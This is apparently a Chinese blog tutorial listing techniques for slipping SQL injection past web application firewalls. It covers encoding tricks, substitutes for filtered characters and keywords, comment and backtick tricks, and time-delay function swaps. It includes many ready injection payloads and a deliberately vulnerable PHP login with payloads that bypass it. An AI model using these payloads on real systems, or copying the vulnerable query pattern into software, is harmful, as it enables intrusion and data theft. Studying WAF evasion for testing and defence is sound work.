SQL 注入绕 WAF 思路
编码绕过
ASCII
admin
1
2
3CHAR(97)+char(100)+char(109)+char(105)+char(110)
select from admin where username=(CHAR(97)+char(100)+char(109)+char(105)+char(110))
Hex
extractvalue() 对xml进行操作
1 | select extractvalue(0x3C613E61646D696E3C2F613E,0x2f61); |
1 | >>> h=0x3C613E61646D696E3C2F613E |
Unicode编码
单引号
%u0027、%u02b9、%u02bc、%u02c8、%u2032、%uff07、%c0%27、%c0、%a7、%e0、%80、%a7
空格
%u0020、%uff00、%c0、%20、%c0、%a0 、%e0、%80、%a0
左括号
%u0028 、%uff08、%c0、%28 、%c0、%a8、%e0、%80、%a8
右括号
%u0029、%uff09、%c0、%29、%c0、%a9、%e0、%80、%a9
URL编码
通常如果一样东西需要编码,说明这样东西并不适合传输。
对于URL来说,编码主要是为了避免引发歧义与混乱。
eg.
URL参数字符串中使用key=value键值对这样的形式来传参,键值对之间以&符号分隔,如果value中包含&或=,则会造成解析错误(还有 # )
HTTP 请求过程
1
2Browser ---get/Post----> Server
<----Response---浏览器会把URL经过编码后发送给服务器,不同的浏览器对URL的编码规则不同。对于GET方式提交的数据,浏览器会自动进行URL编码;对于POST方式提交的数据,其编码方式可以由开发者进行指定
1
2
3
4
5
6URL:
http://127.0.0.1/?id=1'
HTTP:
GET /?id=1%27 HTTP/1.1
Host: 127.0.0.1服务器根据其自身的配置文件对URL进行解码(解码成Unicode),然后将显示内容编码
服务端除了服务器中间件会自动对URL进行解码,后端的Web程序会对前端进行编码的数据进行解码操作。
在PHP中,$_GET数组中的value经过一次URL Decode (可翻阅官方文档)
正常解析过程
用户输入 PHP自身编码 转义 拼接到SQL语句 id=1%27 $_GET[‘id’]=1’ id=1\'
id=1\'
语句闭合失败,无法注入
PHP代码中使用了 urldecode() 等编码函数
用户输入 PHP自身编码 转义 urldecode() 拼接到SQL语句 id=1%2527 $_GET[‘id’]=1%27 id=1%27 id=1’ id=1’ 闭合成功,二次编码
TIPS:在注入过程中,#不能注入失败,%23注入成功,是因为
#
被浏览器识别成锚点,并不是URL编码绕过了WAF
order by 过滤
order by 超过范围(字段数)才报错
into 不相等就报错
- 必须相等且结果为一行(必须用到limit)
- select into 本是一个备份内容的操作
- @是一个变量符号
1
2
3
4mysql> select password,username from tw_user limit 0,1 into @;
ERROR 1222 (21000): The used SELECT statements have a different number of columns
mysql> select password,username from tw_user limit 0,1 into @,@;
Query OK, 1 row affected (0.00 sec)
- 可以直接爆破
union select 1,2,3
直到不报错为止
Hex 绕过引号过滤
过滤了引号,导致字符串不能写入
使用16进制就不需要引号了
结合hex()、unhex()使用
1 | select column_name from information_schema.columns where table_name="users" |
等号过滤
使用like、in替换
1 | substr(password,1,1) in('p'); |
in 还能通过 order by 指定顺序
1 | select * from users where id IN (3,6,9,1,2,5,8,7) order by field(id,3,6,9,1,2,5,8,7); |
< >
替代等号构造真值
1 | or swords > sw |
REGEXP代替=
逗号绕过
substr()逗号绕过
from 1 for 1 替代 substr(,1,1)
1 | select * from pass where id=1 union select 1,2, substr((select username from users limit 0,1),1,1); |
limit 逗号绕过
limit 1 offset 0 代替limit 0,1
1
select * from pass where id=1 union select 1,2, substr((select username from users limit 1 offset 0),1,1);
select top 1 from admin where .....
代替 limit 0,1
其他
join
1 | mysql> select password,username from user union select 1,2; |
using 可以替代 on
1 | select * from table1 inner join table2 |
1 | select * from table1 inner join table2 |
绕过比较符号
greatest()
返回最大值
1 | select * from users where id=1 and ascii(substr(database(),0,1))>64; |
between
1 | SELECT * FROM `p_archives_3` WHERE `picsad` between 1113 and 1122; |
空格绕过
括号
括号是用来包围子查询的。因此,任何可以计算出结果的语句,都可以用括号包围起来。
而括号的两端,可以没有多余的空格
1 | select(user())from dual where(1=1)and(2=2) |
/**/
/*1*/
%0d、%0a、%0c、%0b、%a0
+
TAB
\t
两个括号
编码
1e0 和 1.0
默认from后面必须是空格再加表名,为了过滤from可能正则表达式会检测后面的空格,可以用科学计数法绕过,因为1e0后面可以没有空格
1 | select A from B |
- 这里的逗号是两列的意思 1e0占了第二列
- 同样,1E0 可以用 1.0 代替
1 | mysql> select password,1e0from tw_user; |
\N 绕过NULL
1 | select * from pass where id=\Nunion select 1,2,3; |
id 与 from 之间的空格绕过
1 | mysql> select+uid-1+1.from tw_user where username = 'admin'; |
内联注释绕过
/*!*/
在其他数据库语言中是注释,但是在sql中却可以执行,为了sql提高语句的兼容性
1 | mysql> select password,username from tw_user /*!union*/ select 1,2; |
+ - .
拆分字符串绕过
?id=1’ or ‘11+11’=’11+11’
宽字节注入绕过
常见注释
-–+
#
%23
– -
%00
- ` 单行或者多行注释(别名),反引号
/* */
单行或者多行注释
注释绕过
闭合SQL语句
可以使用常见的注释进行fuzz,要是都被过滤的话,可以通过闭合来绕过
1 | mysql> select uid from tw_user where username = 'aaaa'; |
- payload:
aaaa' or '1'='1
反引号
可以用来过空格和正则,特殊情况下,还可以将其做注释符用(单行或多行注释),实际上是mysql别名的用法
demo
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27<?php
error_reporting(0);
$connect = mysql_connect('127.0.0.1', 'root', 'root') or die('数据库连接失败');
mysql_select_db('test');
mysql_query("set names 'utf8'");
// $id = $_GET['id'];
if(isset($_GET['name']) && $_GET['pass'])
{
$username = $_GET['name'];
$password = $_GET['pass'];
$result = mysql_query("select * from user where username = '$username' and password = '$password'");
if($result)
{
$row = mysql_fetch_assoc($result);
print_r("<h1>Hello, $row[username]</h1>");
}
else
{
print_r("Username or Password is error") ;
}
}
else
{
print_r("Something wrong happened!");
}
?>
payload:?name=admin%23 可以通过验证
payload:?name=admin` 却没有注释成功
MySQL官方文档中并没有关于 ` 的注释用法,而是一个用户封装的标识符(一般用来引住表名、字段名、别名),还可以防止意外使用保留关键字
注释作用:MySQL query 执行sql语句的时候,在 ` 不闭合的情况下也能正常执行(原理不详)
payload改进:
1 | ?name=admin' union select 1,2,3 from admin_user `&pass=admin1234 |
拼接后的SQL语句为
1 | select * from user where username = 'admin' union select 1,2,3 from admin_user `' and password = 'admin1234' |
其中 ' and password = 'admin1234'
都为 admin_user 的别名(as可以省略)
在盲注中的利用
寻找需要用到列名的地方,如 :order by 、having
可以使用
@
来避免找不到 colunm 的问题
等价函数变量绕过
hex()、bin() ==> ascii()
sleep() ==> benchmark() ==>get_lock()
- BENCHMARK(count,expr)
- BENCHMARK()函数,重复countTimes次执行表达式expr,执行的时间长了,也达到了sleep的作用
- 在sqlsever 中用 waitfor delay
- 在Oracle 中用 DBMS_PIPE.RECEIVE_MESSAGE()函数和CASEWHEN„THEN„语句
concat_ws() ==> group_concat()
mid() 、substr() ==> substring()
@@user ==> user()
@@datadir ==> datadir()
@@version ==> version()
函数后添加注释
函数被过滤时,在函数名与括号间添加空格或者注释绕过过滤
- concat/**/()
过滤字母
CONV()函数的目的是在不同的数值基数之间进行数字转换。
该函数返回值N从from_base到to_base转换的字符串
1 | mysql> select conv(10,10,36); |
过滤from
- 用 from. 代替
表名或字段名是保留字
使用点号连接表名和字段名
table_name.column_name
用反引号
1
`table_name`
字段名过滤
将一个虚表和当前表联合
1 | pro_id=-1 union select 1,a.4,3,4 from (select 1,2,3,4 from dual union select * from product_2017ctf)a limit 3,1; |
符号替代
1 | or || |
%00
MYSQL对%00不会截断
se%00lect
%
单一%号,在asp+iis中会被忽略
sel%ect
<>
Linux
sel<>ect
双写绕过
将关键词替换为空(删除)
大小写绕过
php中preg_match函数没有加/i参数
常见bypass
1 | id=1+(UnIoN)+(SelECT)+ |
参考
- link1
- 文中两处链接
声明
- 博主初衷为分享网络安全知识,请勿利用技术做出任何危害网络安全的行为,否则后果自负,与本人无关!
- 部分学习内容来自网络,回馈网络,如涉及版权问题,请联系删除 orz
Author: AMao
Copyright: 本站所有文章均采用 署名-非商业性使用-相同方式共享 4.0 国际(CC BY-NC-SA 4.0) 许可协议。转载请注明出处!